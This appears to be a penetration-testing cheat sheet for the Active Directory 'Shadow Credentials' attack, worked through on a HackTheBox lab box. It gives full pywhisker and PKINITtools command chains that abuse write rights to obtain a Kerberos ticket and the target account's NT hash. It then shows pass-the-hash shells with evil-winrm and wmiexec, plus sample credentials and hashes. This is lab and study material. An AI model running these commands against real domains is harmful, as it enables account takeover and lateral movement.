Shadow Credentials — pywhisker + PKINITtools
Ctrl+F:
pywhisker·PKINITtools·gettgtpkinit·getnthash·shadow credentials·GenericWrite·AS-REP encryption key
External: Internal All The Things — Shadow Credentials
Attack: Write to target user’s msDS-KeyCredentialLink (Shadow Credentials) → authenticate with generated PFX cert → PKINIT TGT → recover NTLM hash.
Typical path: BloodHound shows GenericWrite on user → pywhisker → PKINITtools.
Permission context → GenericWrite · AD Permissions
Alternative on Kali: certipy-ad shadow auto → Certipy & Certify > 📌 Shadow Credentials (certipy-ad)
📌 0) Prerequisites
| Need | Check |
|---|---|
| GenericWrite (or equivalent) on target user | BloodHound · Bloodhound + Sharphound |
| Domain creds for attacker user | e.g. cracked Kerberoast |
| Time synced to DC | Time Sync-Clock Skew |
| PKINITtools on Kali | See install below |
📌 1) Install PKINITtools (Kali)
Repo: dirkjanm/PKINITtools
git clone https://github.com/dirkjanm/PKINITtools.git
cd PKINITtools
pip3 install -r requirements.txtpywhisker:
git clone https://github.com/ShutdownRepo/pywhisker.git
# Run from pywhisker dir or use full path — see [pywhisker](https://github.com/ShutdownRepo/pywhisker)📌 2) Add shadow credential — pywhisker
Abuse GenericWrite on management_svc (example — Certified HTB):
python3 pywhisker.py -d "certified.htb" -u "judith.mader" -p "judith09" \
--target "management_svc" --action "add"Verbose (shows exact PKINIT command):
python3 pywhisker.py -d "certified.htb" -u "judith.mader" -p "judith09" \
--target "management_svc" --action "add" -vOutput you need:
[+] Saved PFX (#PKCS12) certificate & key at path: 2Zo5d8IM.pfx
[*] Must be used with password: 8GDGBl5KeKO4HayyuJlG
Save FILENAME.pfx and pfx-pass — one-time, pywhisker prints them.
Remove when done (optional cleanup):
python3 pywhisker.py -d "certified.htb" -u "judith.mader" -p "judith09" \
--target "management_svc" --action "remove" --device-id DEVICE_ID_FROM_ADD📌 3) Get TGT with certificate — gettgtpkinit.py
python3 PKINITtools/gettgtpkinit.py -cert-pfx 2Zo5d8IM.pfx \
certified.htb/management_svc \
-pfx-pass '8GDGBl5KeKO4HayyuJlG' \
management_svc.ccache| Argument | Value |
|---|---|
-cert-pfx | .pfx from pywhisker |
domain/user | Target principal |
-pfx-pass | Password pywhisker printed |
| Last arg | Output .ccache filename |
CRITICAL — capture the AS-REP encryption key
gettgtpkinit.py prints a key you must save for the next step:
INFO AS-REP encryption key (you might need this later):
INFO 7a9a1658cebb4ede34127b7d9003ff308109b6bdc80c70589decac9e60ee9c6b
INFO Saved TGT to file
This key is NOT the PFX password. It is NOT the AES key from LSASS. It is the session key from this specific PKINIT exchange — copy it exactly from this run’s output for
getnthash.py.
📌 4) Export ticket + verify
export KRB5CCNAME=management_svc.ccache
# Or: export KRB5CCNAME=$(pwd)/management_svc.ccache
klistExpected: default principal management_svc@CERTIFIED.HTB, service krbtgt/CERTIFIED.HTB.
📌 5) Recover NTLM hash — getnthash.py
Must use the AS-REP encryption key from step 3 (same run):
export KRB5CCNAME=management_svc.ccache
python3 PKINITtools/getnthash.py -key \
7a9a1658cebb4ede34127b7d9003ff308109b6bdc80c70589decac9e60ee9c6b \
certified.htb/management_svcRecovered NT Hash
a091c1832bcdd4677c28b5a6a1295584
| Flag | Value |
|---|---|
-key | AS-REP encryption key from gettgtpkinit.py output (step 3) |
| Principal | Same domain/user as TGT |
Requires: KRB5CCNAME still set to the same .ccache.
📌 6) Use the hash / ticket
# Pass-the-Hash shell
evil-winrm -i 10.129.231.186 -u management_svc -H a091c1832bcdd4677c28b5a6a1295584
# Or keep using the ticket
export KRB5CCNAME=management_svc.ccache
impacket-wmiexec certified.htb/management_svc@TARGET -k -no-pass -dc-ip DC_IP→ Use Kerberos Ticket · Kerberos Setup - krb5.conf · Credential Graph
📌 Full copy-paste chain
# 1) Shadow cred
python3 pywhisker.py -d "certified.htb" -u "judith.mader" -p "judith09" \
--target "management_svc" --action "add" -v
# → note: 2Zo5d8IM.pfx + password 8GDGBl5KeKO4HayyuJlG
# 2) PKINIT TGT — SAVE the AS-REP encryption key from output!
python3 PKINITtools/gettgtpkinit.py -cert-pfx 2Zo5d8IM.pfx \
certified.htb/management_svc \
-pfx-pass '8GDGBl5KeKO4HayyuJlG' \
management_svc.ccache
# → COPY key: 7a9a1658cebb4ede34127b7d9003ff308109b6bdc80c70589decac9e60ee9c6b
# 3) NT hash — same key from step 2
export KRB5CCNAME=management_svc.ccache
python3 PKINITtools/getnthash.py -key \
7a9a1658cebb4ede34127b7d9003ff308109b6bdc80c70589decac9e60ee9c6b \
certified.htb/management_svc
# 4) Shell
evil-winrm -i DC_IP -u management_svc -H RECOVERED_NTHASH📌 Troubleshooting
| Issue | Fix |
|---|---|
getnthash fails | Wrong -key — must be this run’s AS-REP key from gettgtpkinit, not PFX pass |
KRB_AP_ERR_SKEW | Time Sync-Clock Skew |
KDC_ERR_PREAUTH_FAILED | Re-run gettgtpkinit — key changes each run |
| No GenericWrite | BloodHound path — different ACL abuse |